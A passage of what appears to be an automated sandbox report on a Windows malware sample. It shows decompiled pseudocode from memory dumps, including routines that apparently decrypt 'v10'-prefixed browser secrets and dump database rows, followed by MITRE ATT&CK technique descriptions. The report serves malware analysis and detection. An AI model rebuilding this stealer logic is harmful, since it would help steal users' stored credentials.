0x00405889
0x00405893
0x004058a4
0x004058b5
0x004058c6
0x004058d7
0x004058e8
0x004058ed
0x004058ed
0x004057ca
0x004057c1
0x004058fa
0x00405904
0x0040590a
0x0040590d
0x0040590d
0x00405929

APIs

strtok.MSVCRT(004063B5,0041D308), ref: 00405752
lstrcatA.KERNEL32(?,00000000,?,00000104,?,00000104,?,00000104), ref: 004057DF
lstrcatA.KERNEL32(?,00000000), ref: 004057F8
strtok.MSVCRT(00000000,0041D308), ref: 00405904

Strings

0U, xrefs: 0040585B
<, xrefs: 0040583D

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcatstrtok
String ID: 0U$<
API String ID: 1040823752-459451267
Opcode ID: 9dc1d02ad34a8e330927239cefe720157f64aa232185955e162069edfa19ab00
Instruction ID: d7c4496f9df01d394f2839e46d460212c19ba8fff4a4b99bf02bd58227635da5
Opcode Fuzzy Hash: 9dc1d02ad34a8e330927239cefe720157f64aa232185955e162069edfa19ab00
Instruction Fuzzy Hash: 85411CB590031CEBDB26EB50CC49BDEB778AB08304F4445EEE20976191D7795B88CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00414166, Relevance: 9.0, APIs: 6, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00414166(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x41da78);
				E004146B0(__ebx, __edi, __esi);
				_t31 = E00413914(__ebx, __edx, _t35);
				_t15 =  *0x41ea7c; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E00413BD7(_t25, _t31, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x41e920; // 0x41e4f8
					if(__eflags != 0) {
						__eflags = _t33;
						if(__eflags != 0) {
							__eflags = InterlockedDecrement(_t33);
							if(__eflags == 0) {
								__eflags = _t33 - 0x41e4f8;
								if(__eflags != 0) {
									E0041489F(_t33);
								}
							}
						}
						_t21 =  *0x41e920; // 0x41e4f8
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x41e920; // 0x41e4f8
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00414201();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				_t38 = _t33;
				if(_t33 == 0) {
					_push(0x20);
					E00414B03(_t29, _t38);
				}
				return E004146F5(_t33);
			}

0x00414166
0x00414166
0x00414166
0x00414166
0x00414168
0x0041416d
0x00414177
0x00414179
0x00414181
0x004141a2
0x004141a8
0x004141ac
0x004141af
0x004141b2
0x004141b8
0x004141ba
0x004141bc
0x004141c5
0x004141c7
0x004141c9
0x004141cf
0x004141d2
0x004141d7
0x004141cf
0x004141c7
0x004141d8
0x004141dd
0x004141e0
0x004141e6
0x004141ea
0x004141ea
0x004141f0
0x004141f7
0x00414189
0x00414189
0x00414189
0x0041418c
0x0041418e
0x00414190
0x00414192
0x00414197
0x0041419f

APIs

__getptd.LIBCMT ref: 00414172

Part of subcall function 00413914: __getptd_noexit.LIBCMT ref: 00413917
Part of subcall function 00413914: __amsg_exit.LIBCMT ref: 00413924

__amsg_exit.LIBCMT ref: 00414192
__lock.LIBCMT ref: 004141A2
InterlockedDecrement.KERNEL32(?,0041DA78,0000000C,0041426A,?,?,00415554), ref: 004141BF
_free.LIBCMT ref: 004141D2
InterlockedIncrement.KERNEL32(0041E4F8,0041DA78,0000000C,0041426A,?,?,00415554), ref: 004141EA

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 04feb05ac75521912e75aad46df81c08ed9428649f5fd2c316d0502aad74fd17
Instruction ID: fb57b15df175e1dd7a646195925a47db225c6bf9e2202e08434e537310241aaa
Opcode Fuzzy Hash: 04feb05ac75521912e75aad46df81c08ed9428649f5fd2c316d0502aad74fd17
Instruction Fuzzy Hash: D00100B1941721ABDB10AF6698097DA77A0BF98725F10401BEC1467381C73CA9C1CBED

Uniqueness

Uniqueness Score: -1.00%

Function 00406DF0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E00406DF0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				int _v76;
				long _v80;
				CHAR* _v84;
				char _v88;
				char _v5092;
				void* _t58;
				void* _t93;

				E00416530(0x13e0);
				if(_a8 < 3) {
					L10:
					return E00406D50(_a4, _a8);
				}
				asm("repe cmpsb");
				if(0 != 0) {
					goto L10;
				}
				if(((0 | _a12 != 0x00000000) & (0 | _a16 != 0x00000000)) == 0) {
					return 0x41d8e0;
				}
				E00413730( &_v76, 0, 0x40);
				_v76 = 0x40;
				_v72 = 1;
				_v68 = _a4 + 3;
				_v64 = 0xc;
				_v52 = _v68 + _a8 - 0x13;
				_v48 = 0x10;
				_v80 = _a8 - 3 - _v64 - _v48;
				_t58 = LocalAlloc(0x40, _v80);
				_v84 = _t58;
				if(_v84 == 0) {
					return _t58;
				}
				_v88 = 0;
				_v8 =  *0x4201e8(_a16, _v68 + _v64, _v80,  &_v76, 0, 0, _v84, _v80,  &_v88, 0);
				if(_v8 < 0) {
					return 0x41d8e0;
				}
				E0040B2C0( &_v5092, 0x1388);
				lstrcatA( &_v5092, _v84);
				 *((char*)(_t93 + _v88 - 0x13e0)) = 0;
				return  &_v5092;
			}

0x00406df8
0x00406e03
0x00406f24
0x00000000
0x00406f31
0x00406e18
0x00406e1a
0x00000000
0x00000000
0x00406e34
0x00000000
0x00406f1b
0x00406e42
0x00406e4a
0x00406e51
0x00406e5e
0x00406e61
0x00406e72
0x00406e75
0x00406e88
0x00406e91
0x00406e97
0x00406e9e
0x00000000
0x00406f19
0x00406ea0
0x00406ed2
0x00406ed9
0x00000000
0x00406f12
0x00406ee7
0x00406ef7
0x00406f00
0x00000000

APIs

_memset.LIBCMT ref: 00406E42
LocalAlloc.KERNEL32(00000040,?), ref: 00406E91
lstrcatA.KERNEL32(?,00000000,?,00001388), ref: 00406EF7

Strings

v10, xrefs: 00406E0E
@, xrefs: 00406E4A

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocLocal_memsetlstrcat
String ID: @$v10
API String ID: 1510088125-24753345
Opcode ID: e380a84be931fd40ff0a04a2639520a0ae27ef6a11a6beb3d714ccceba461f4a
Instruction ID: d422b1f78ae40f3a0ef8722f889c6e3c4ad4cbec25c450c8979d843190038b4c
Opcode Fuzzy Hash: e380a84be931fd40ff0a04a2639520a0ae27ef6a11a6beb3d714ccceba461f4a
Instruction Fuzzy Hash: 9D415071A10219EBDB14CFD8D844BEEB7B4FF44344F04812AF505AB284D7789A55CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408F80, Relevance: 7.6, APIs: 5, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00408F80(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v268;
				char _v272;
				char _v276;
				void* _v280;
				CHAR* _v284;
				CHAR* _v288;
				intOrPtr _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				CHAR* _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B2C0( &_v268, 0x104);
				_t30 =  *0x41fbb8; // 0x563c80
				 *0x420018( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41ffd8(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41f83c; // 0x558e90
					_t35 =  *0x41ff90(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41ffb0(_v276);
						return  *0x41ffdc(_v272);
					}
					_v280 = HeapAlloc( *0x420200(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41ffac(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41ffc8(_v276, 0);
						_t48 =  *0x41ffc8(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						lstrcatA(_v280, _v288);
						lstrcatA(_v280, "\t");
						lstrcatA(_v280, _v284);
						lstrcatA(_v280, "\n");
					}
					E004133B0(_a16,  &_v268, _v280,  *0x42009c(_v280));
					_t76 = _t79 + 0x10;
					E0040B2C0( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00408f95
0x00408fa2
0x00408faf
0x00408fc3
0x00408fc9
0x00408fce
0x00408fdf
0x00408fed
0x00408ff3
0x00408ff8
0x004090e8
0x004090ef
0x00000000
0x00409105
0x00409012
0x00409018
0x0040901f
0x00409025
0x0040902b
0x00000000
0x00000000
0x00409043
0x00409052
0x00409058
0x0040905b
0x0040906f
0x00409081
0x00409095
0x004090a7
0x004090a7
0x004090d2
0x004090d7
0x004090e3
0x00000000
0x004090e3
0x0040910b

APIs

HeapAlloc.KERNEL32(00000000), ref: 0040900C
lstrcatA.KERNEL32(?,?), ref: 0040906F
lstrcatA.KERNEL32(?,0041D92C), ref: 00409081
lstrcatA.KERNEL32(?,?), ref: 00409095
lstrcatA.KERNEL32(?,0041D304), ref: 004090A7

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AllocHeap
String ID:
API String ID: 1338668018-0
Opcode ID: c5dc5b5050ca6ce53b0751024b99b8820d3d4c2a19f99ac036a3bfd0b534794e
Instruction ID: 47a0f2a38496121661132fc87b0cff2ed1f764a2d042717a035fbc57cbedc435
Opcode Fuzzy Hash: c5dc5b5050ca6ce53b0751024b99b8820d3d4c2a19f99ac036a3bfd0b534794e
Instruction Fuzzy Hash: B64184B1A00218ABCB24DBA4DC4AFEA7378AB48700F0085A9F70997141D7759A95CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00413ECA, Relevance: 7.5, APIs: 5, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00413ECA(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t12;
				void* _t28;
				intOrPtr _t29;
				void* _t30;
				void* _t31;

				_t31 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t20 = __ebx;
				_push(0xc);
				_push(0x41da58);
				E004146B0(__ebx, __edi, __esi);
				_t28 = E00413914(__ebx, __edx, _t31);
				_t12 =  *0x41ea7c; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t12) == 0) {
					L6:
					E00413BD7(_t20, _t26, 0xc);
					 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
					_t29 = _t28 + 0x6c;
					 *((intOrPtr*)(_t30 - 0x1c)) = E00413E7D(_t29,  *0x41e4f0);
					 *(_t30 - 4) = 0xfffffffe;
					E00413F37();
				} else {
					_t33 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t29 =  *((intOrPtr*)(E00413914(_t20, __edx, _t33) + 0x6c));
					}
				}
				_t34 = _t29;
				if(_t29 == 0) {
					_push(0x20);
					E00414B03(_t25, _t34);
				}
				return E004146F5(_t29);
			}

0x00413eca
0x00413eca
0x00413eca
0x00413eca
0x00413eca
0x00413ecc
0x00413ed1
0x00413edb
0x00413edd
0x00413ee5
0x00413f09
0x00413f0b
0x00413f11
0x00413f1b
0x00413f26
0x00413f29
0x00413f30
0x00413ee7
0x00413ee7
0x00413eeb
0x00000000
0x00413eed
0x00413ef2
0x00413ef2
0x00413eeb
0x00413ef5
0x00413ef7
0x00413ef9
0x00413efb
0x00413f00
0x00413f08

APIs

__getptd.LIBCMT ref: 00413ED6

Part of subcall function 00413914: __getptd_noexit.LIBCMT ref: 00413917
Part of subcall function 00413914: __amsg_exit.LIBCMT ref: 00413924

__getptd.LIBCMT ref: 00413EED
__amsg_exit.LIBCMT ref: 00413EFB
__lock.LIBCMT ref: 00413F0B
__updatetlocinfoEx_nolock.LIBCMT ref: 00413F1F

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: ec7e38bab2f1753b03d8a9af0cc9c43fb6250f9483d67ce20b0603376d00e3b0
Instruction ID: db4e736741c7fc85fb598ca338116b13e47f2a3ddba3d830ebb1edfe555eb680
Opcode Fuzzy Hash: ec7e38bab2f1753b03d8a9af0cc9c43fb6250f9483d67ce20b0603376d00e3b0
Instruction Fuzzy Hash: 0FF06D32D043109ADA20BF7A5803BDA76A06F0472AF10450FF550A72D2DB6D5BC1CA9D

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report v72n86vFFq.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre